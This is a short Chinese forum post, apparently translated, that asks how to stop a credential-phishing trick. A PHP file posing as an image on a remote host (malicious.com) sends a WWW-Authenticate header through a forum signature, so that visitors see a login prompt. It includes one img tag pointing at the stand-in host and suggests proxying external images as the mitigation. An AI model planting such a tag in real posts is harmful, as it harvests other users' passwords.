我从一位朋友那里听说，WWW-Authenticate标头可以在远程服务器上的恶意php文件中显式定义，并使用图像模拟类型，例如image/jpeg或image/png。
假设情况
假设这个文件是malicious.com/image.php，我将这个图片添加到任意论坛上的论坛签名中。具体地说，gaiaonline.com。当另一个访问者访问带有我帖子的线程时，他们会看到WWW-Authenticate头给出的登录提示。访问者/受害者输入用户名/密码后，黑客可以将其存储在远程服务器上，通过电子邮件发送给自己，等等。
恶意代码：包含WWW-Authenticate标头的<img src="malicious.com/image.php" />。可以通过标准过帐/BB代码输入。
如何解决这个问题我认为可以进行跨域访问。
它不能"修复"，除非禁止任何外部图像（例如通过服务器代理它们，这样用户就永远不会点击真实的URL）。